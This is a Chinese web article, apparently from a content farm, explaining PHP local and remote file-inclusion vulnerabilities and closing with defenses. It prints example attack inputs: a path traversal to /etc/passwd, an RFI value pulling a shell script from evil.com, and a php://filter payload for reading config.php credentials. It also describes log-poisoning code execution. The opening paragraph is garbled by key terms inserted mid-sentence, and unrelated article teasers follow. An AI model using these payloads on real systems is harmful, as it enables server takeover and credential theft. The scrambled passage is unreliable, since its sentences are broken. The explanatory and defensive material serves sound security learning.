您现在的位置是:时尚 >>正文
文件包含漏洞分为
时尚845人已围观
简介文件包含漏洞分为本地文件包含和远程文件包含。这俩是同一类问题的两个变种,但利用难度和危害等级差着量级。本地文件包含,英文缩写LFI,攻击者能读服务器上的任意文件,但读不了外网的东西。远程文件包含,RF ...
文件包含漏洞分为本地文件包含和远程文件包含。文件这俩是包含同一类问题的两个变种,但利用难度和危害等级差着量级。漏洞本地文件包含,文件英文缩写LFI,包含攻击者能读服务器上的漏洞任意文件,但读不了外网的文件东西。远程文件包含,包含RFI,漏洞那更狠,文件直接让服务器去加载攻击者控制的包含恶意脚本,等于把服务器钥匙递给了别人。漏洞 先说本地文件包含。文件它出在开发者图省事,包含把页面动态加载写成`include($_GET['page'])`这样。漏洞用户传什么路径,服务器就老老实实读什么。有个真实案例,某政府网站新闻模块,URL长这样:`show.php?file=news_20231015.php`。攻击者把参数改成`../../../../etc/passwd`,结果系统文件内容直接吐在页面上。更麻烦的是日志注入配合LFI——攻击者往User-Agent里写PHP代码,然后让服务器包含自己的访问日志,代码就被执行了。这种组合拳在真实渗透测试里命中率不低。 远程文件包含的触发条件更苛刻,前提是`allow_url_include`打开,默认是关的。但一旦开了,就是灾难。攻击者可以传`http://evil.com/shell.txt`,服务器会去远程拉取这个文件并当成PHP执行。我见过一个案例,某中小企业官网后台用了老旧的CMS,插件里有个文件包含点,攻击者直接放了个一句话木马在公网,然后通过RFI连上去,整个服务器被拖走,数据库被加密勒索。那个站后来直接下线了。 两类包含还有个中间地带——PHP伪协议。严格说它算LFI的进阶,但利用方式完全不同。攻击者用`php://filter`读源码,用`data://`直接注入代码。比如`file=php://filter/convert.base64-encode/resource=config.php`就能拿到数据库密码。这招在CTF里玩得烂熟,实战中同样致命。 区分这俩的关键看两点:一是能否跨域读取,二是能否执行代码。LFI通常只能读,要配合文件上传或日志注入才能执行;RFI天然就能执行,因为加载的就是攻击者的代码。另一个判断点是影响范围——LFI影响单个应用,RFI往往直接沦陷整台服务器。 写代码时防包含漏洞其实就三条:第一,用白名单,固定可包含的文件名,别让用户自由传路径;第二,过滤`../`和绝对路径符号;第三,关掉`allow_url_include`。但现实是很多老项目根本改不动,只能靠WAF硬扛。我见过某运维为了堵一个LFI点,写了十几条Nginx规则,最后还是被绕过——因为开发者把参数值做了两次URL解码。 所以这漏洞分得再清楚,不如一开始写代码时多问一句:这个参数真的需要用户控制吗?如果不需要,硬编码进去,什么事都没有。
Tags:
相关文章
堵塞风险漏洞 织密风险防控网
时尚凌晨两点,某商业银行的监控室里,值班员老周盯着屏幕上的数据流,突然发现一笔跨境转账的收款方账号与半小时前另一笔交易的收款方账号高度相似——只差一个数字。他立刻调出两笔交易的IP地址,一个来自境外,一个 ...
【时尚】
阅读更多台州邦照牌混合输入逆变器价格
时尚台州邦照牌混合输入逆变器,市面上问的人不少,价格却是个谜。有人报价三千,有人喊到八千,同一个型号能差出一倍多,这里头水分不小。 我上个月刚帮朋友询过价,拿他们家主流的5KW混合逆变器来说,出厂价大约在 ...
【时尚】
阅读更多境外电商怎么做
时尚我见过太多人把境外电商想复杂了。有个朋友去年辞职做跨境电商,第一反应是注册公司、租仓库、建独立站,三个月花了二十多万,订单却寥寥无几。后来他换了个思路,把家里的储物间改成临时仓库,用Shopify开了 ...
【时尚】
阅读更多